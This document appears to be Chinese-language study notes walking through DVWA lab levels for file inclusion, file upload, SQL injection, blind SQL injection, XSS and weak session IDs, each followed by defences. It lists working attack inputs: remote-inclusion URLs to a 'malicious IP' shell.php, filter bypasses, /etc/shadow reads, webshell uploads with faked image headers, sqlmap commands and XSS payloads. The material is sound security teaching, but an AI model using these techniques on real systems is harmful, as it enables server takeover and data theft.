Web安全-文件包含漏洞(Low级别)
- 文件包含漏洞介绍
- File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
- 文件包含函数通常配合文件上传来获取webshell
- File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
- 代码分析
http://192.168.3.20/dvwa/vulnerabilities/fi/?page=file1.php(这里的IP地址是phpstudy搭DVWA的服务器地址)
获取page中的参数,作为php文件执行
-
文件包含漏洞利用
-
本地文件包含 读取敏感文件
-
格式
- http://ip/dvwa/vulnerabilities/fi/page=/etc/shadow
- http://ip/dvwa/vulnerabilities/fi/page=c:\xampp\htdocs\dvwa\php.ini
-
例子:
- 服务器本地文件
- 本地文件包含漏洞利用
+ 远程文件包含 代码注入 + 当服务器的PHP配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行
- 服务器本地文件
-
代码文件
- shell.php
<?php PHP代码 ?>
-
构造远程url http://ip/dvwa/vulnerabilities/fi/page=http://恶意ip/shell.php这里的shell.php的后缀名任意,都会被尝试执行php。如果shell不是php内容,则会直接显示对应的内容
-
演示
-
首先打开kali,打开Apache服务
- service apache2 start
-
在kali的apache网站根目录构造恶意代码文件shell.php
- gedit /var/www/html shell.php
-
测试前,phpstudy要打开allow_url_fopen后allow_url_include
-
测试(显然代码执行成功)
-
-
-
Web安全- 文件包含漏洞(mediun级别)
-
代码分析
使用str_replace()函数将http:// https:// …/ …\替换成空字符 -
文件包含漏洞利用
-
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则
-
例如:
-
page=ht**http://**tp://恶意ip/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://恶意ip/phpinfo.txt,成功执行远程命令
-
http://ip/dvwa/culnerabilities/fi/page=…/ ./ …/ ./ …/ ./ …/ ./ …/ ./ …/ ./ …/ ./ …/ ./xampp/htdocs/dvwa/php.ini
-
流程(与low差不多)
- kali编辑文件phpinfo.txt
- 访问page=hthttp://tp://kali的ip/phpinfo.txt
-
-
Web安全-文件包含漏洞(high级别)
-
代码分析
使用fnmatch() 确保$file是以file开头 -
文件包含漏洞利用
-
包含file开头的文件,看似安全,但我们依然可以利用file伪协议绕过防护策略
-
http://服务器IP/script.php?file://E:\phpstudy\PHPTutorial\WWW\flag.txt(读取本地敏感文件)
-
演示:
- page=file://c:\key.txt
- 如果将key.txt的内容修改为:
<?php phpinfo(); ?>
结果:
-
-
代码执行需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行
-
-
Web安全-文件包含漏洞(impossible级别)
- 代码分析
- 文件包含总结
- 基于白名单进行防御,确保page参数传递的只能是固定的文件名
- 文件包含与文件上传结合,可以直接上传图片文件,执行代码。因此需要进行全面防御
Web安全-文件上传漏洞(Low级别)
-
File Upload 文件上传
- File Upload,即文件上传漏洞,通常是用于对上传的类型、内容没有进行严格的过滤、检查,使得可以通过上传webshell获取服务器权限,因此文件上传漏洞带来的危害常常是毁灭性的
-
代码分析
basename(path, suffix)返回path中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀,反之不包含 -
文件上传漏洞利用
-
在页面上传webshell,然后访问
-
上传成功后访问webshell(这里webshell文件为angle.php)
- 上传页面原始路径:http://192.168.3.20/DVWA/vulnerabilities/upload/#
- 上传成功文件保存的路径:…/…/hackable/uploads/angle.php
- 拼接路径:http://192.168.3.20/DVWA/hackable/uploads/angle.php进行访问
- 登录webshell
-
Web安全-文件上传漏洞(medium级别)
-
代码分析
-
上传webshell文件,上传时需要修改成允许上传的后缀名(image/jpg)
这是,如果直接访问时访问不了的,因为是jpg格式 -
文件上传漏洞利用
- 在页面上传webshell,然后访问。前提时绕过上传限制。(在上传时使用Burpsuite抓包修改文件类型)
- 拼接路径进行执行
- 在页面上传webshell,然后访问。前提时绕过上传限制。(在上传时使用Burpsuite抓包修改文件类型)
Web安全-文件上传漏洞(high级别)
-
代码分析
代码使得上传的后缀名只能是jpg、jpeg、png,否则上传失败。其中getimagesize用来检测文件头 -
文件上传漏洞利用
-
组合文件包含,两者一起利用达到访问webshell的目的
-
绕过文件头检测 GIF98(在webshell文件头添加该指令)
-
流程:
- 在high级别将已经写入GIF98的angle.jpg文件上传
- 然后切换级别到low,通过文件包含漏洞进行执行
- 在high级别将已经写入GIF98的angle.jpg文件上传
-
Web安全-文件上传漏洞(impossible级别)
-
代码分析
-
文件上传漏洞防御
- 上传文件进行了重名命(为md5值,导致%00截断无法绕过过滤规则)
- 加入Anti-CSRF token防护CSRF攻击
- 对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件
Web安全-SQL注入(全级别)(使用Burpsuite+sqlmap进行测试)
- SQL注入介绍
- 就是通过把SQL命令插入到Web表单提交或者输入域名或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
- 形成SQL注入漏洞的原因:
- 用户输入不可控
- 输入内容被带入SQL语句执行
- 通过SQL注入可以对程序对应的数据存储区进行对应的探测
- SQL注入低级别(low级别)
- 代码分析
- 流程
- 打开Burpsuite截取请求包,复制到一个文件(这里复制到my_low.txt)
- 打开kali终端,使用sqlmap进行扫描探测
- sqlmap -r sql_low.txt --level=4 --risk=2 --dbs
- SQL注入中等级别(medium级别)
- 代码分析
- 流程
- Burpsuite截断请求包
- 将一个请求包复制到一个文件保存(sql_medium.txt)
- 然后通过sqlmap
- sqlmap -r sql_medium.txt --level=4 --risk=2 --dbs
- SQL注入高级别(high级别)
- 代码分析
- 流程与前两个级别一样
- SQL注入impossible级别
- 代码分析
- SQL注入防御
- 过滤用户输入
- 使用预编译处理SQL语句(PDO、Sqlparademeter)
- 使用owasp等安全的Sql处理API
Web安全-盲注(全级别)(使用Burpsuite+sqlmap进行测试)
-
盲注介绍
- 在SQL注入过程中,服务器并没有给客户端返回信息
- 盲注分类:
- 基于时间
- 基于布尔
- 通过盲注可以对程序对应的数据存储区进行对应的探测
-
盲注判断
- 盲注分类:
- 基于时间,注意是否有延迟
- 输入1 and sleep(5) #
- 输入1’ and sleep(5) #
- 基于布尔,注意返回结果是否相同
- 输入1’ and 1=1 #
- 输入1’ and 1=2 #
- 基于时间,注意是否有延迟
- 盲注分类:
-
盲注低级别
-
代码分析
-
Burpsuite截包,将请求包内容复制出来,放在一个文件中(比如b_sql_low.txt)
-
使用sqlmap进行探测
- sqlmap -r b_sql_low.txt --dbs -p id(加上–level和–risk可以更全面探测)
-
-
盲注中等级别
- 代码分析
- 流程与低级别相同
- 但sqlmap探测需要添加–level和–risk参数
-
盲注高等级别
- 代码分析
- 流程与低级别相同
- 但sqlmap探测需要添加–level和–risk参数
-
盲注(impossible级别)
- 代码分析
-
注入防御
- 过滤用户输入
- 使用预编译处理SQL语句(PDO和Sqlparameter)
- 使用owasp等安全的sql处理API
Web安全-反射XSS(全级别)
-
XSS
- XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的时,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS
- DOM型的XSS由于其特性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或者检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型
-
反射XSS低级别(low级别)
-
代码分析
header(“X-XSS-Protection:0”); //禁用XSS保护 -
在输入框输入
<script>alert();</script>
-
-
反射XSS中等级别(medium级别)
-
代码分析
str_resplace过滤script,采用大小写绕过或者使用其他可以触发XSS的代码 -
演示(
<Script>alert();</Script>
)
-
-
XSS反射高级别(high级别)
-
代码分析
利用正则表达式彻底过滤script,可以采用其他代码代替script,例如:<img src='1' onerror=alert(/XSS/) />
-
结果
-
-
XSS反射impossible级别
-
代码分析
htmlspecialchars函数把预定义的字符&, ", ', <, >转换为HTML实体,防止浏览器将其作为HTML元素 -
反射XSS防御
- 过滤用户输入
- 使用htmlspecialchar()过滤
- 使用owasp等安全XSS处理API
-
Web安全-存储型XSS
-
存储XSS低级别(low级别)
-
代码分析
-
流程:
- 写入存储代码数据
<script>alert("low级别存储型XSS测试");</script>
- 执行结果
- 写入存储代码数据
-
-
存储型XSS中等级别(medium级别)
-
代码分析
str_resplace过滤script,采用大小写绕过或使用其他可以触发XSS的代码 -
在name框进行XSS写入
<Script>alert("medium级别存储型XSS测试");</Script>
- 这里输入name框时发现被限定了输入最大长度(解决方法:F12–>修改最大长度)
-
结果
-
-
存储XSS高级别(high级别)
-
代码分析
利用正则表达式彻底过滤script,可以采用其他代码代替script,例如:<img src='1' onerror=alert("high级别存储型XSS测试") />
-
写入(要修改输入最大长度)
-
结果
-
-
存储XSSimpossible级别
- 代码分析
- htmlspecialchars函数把预定义的字符&, ", ', <, >转换为HTML实体,防止浏览器将其作为HTML元素
- XSS防御
- 过滤用户输入
- 使用htmlspecialchar()过滤
- 使用owasp等安全XSS处理API
- 代码分析
Web安全-DOM XSS
-
DOM XSS low级别
- 代码分析
- 没有任何的过滤操作
- 演示
- 代码分析
-
DOM XSS medium级别
-
代码分析
使用stripos函数索引当前是否存在"<script",如果存在则执行默认,然后退出程序。采用img代替,前提要闭合</option>
和</select>
-
</option></select><img src='1' onerror="alert(1234)" />
-
结果
-
-
DOM XSS high级别
-
代码分析
只允许选择给出的四个选项,输入其他会返回默认,然后退出程序 -
注释执行DOM XSS
- English #
<script>alert()</script>
- 结果
- English #
-
-
DOM XSS impossible级别
- 代码分析
- 客户端:启用XSS Filter防护(大多数浏览器都集成了这个功能)
- XSS防御:
- 过滤用户输入
- 使用htmlspecialchar()过滤
- 客户端浏览器自身启动XSS Filter
- 代码分析
web安全-Weak Session ID
-
Session Id介绍
- 密码与证书等认证手段,一般仅仅用于登陆的过程。登陆完成后,用户访问网站的页面不可能每次浏览器请求页面都再使用密码认证一次。所以,认证完成后,就需要替换一个对用户透明的凭证,这个凭证就是Session ID
- 用户登陆完成后,在服务器端就会创建一个新的会话(Session),会话会保存用户的状态和相关信息.服务器端维护所有在线用户的Session,此时的认证,只需知道哪个用户在浏览当前页面即可。为了告诉服务器应该使用哪个Session,浏览器需要把当前用户持有的Session ID告知服务器
- Session ID一旦生命周期内被窃取,就等同于账号失窃。同时由于Session ID是用户登录之后才持有的凭证,因此不需要进行密码破解
-
Low级别
- 代码分析
从服务端的代码可以看出,session ID时从0开始累加,所以可以较容易的猜测出别人的SessionID
- 代码分析
-
Medium级别
- 代码分析
将session ID的值改成了当前的时间,看起来比Low多了点随机性,但是经过连续的收集后就很容易发现其中的规律
- 代码分析
-
high级别
- 代码分析
将cookie的值进行了MD5打散,并且还设置了期限之类进一步增加session ID的安全性,不足的是进行MD5散列的值是0的累加。
- 代码分析
-
impossible级别
- 代码分析
-
使用Burpsuite对全级别的Weak Session ID进行分析(impossible级别演示)
- Burpsuite抓包
- 右键/Action–Send to Sequencer
- Start live capture–stop–Analyze now
- Burpsuite抓包
-
Weak Session ID防御
- 使用随机的Session ID起始值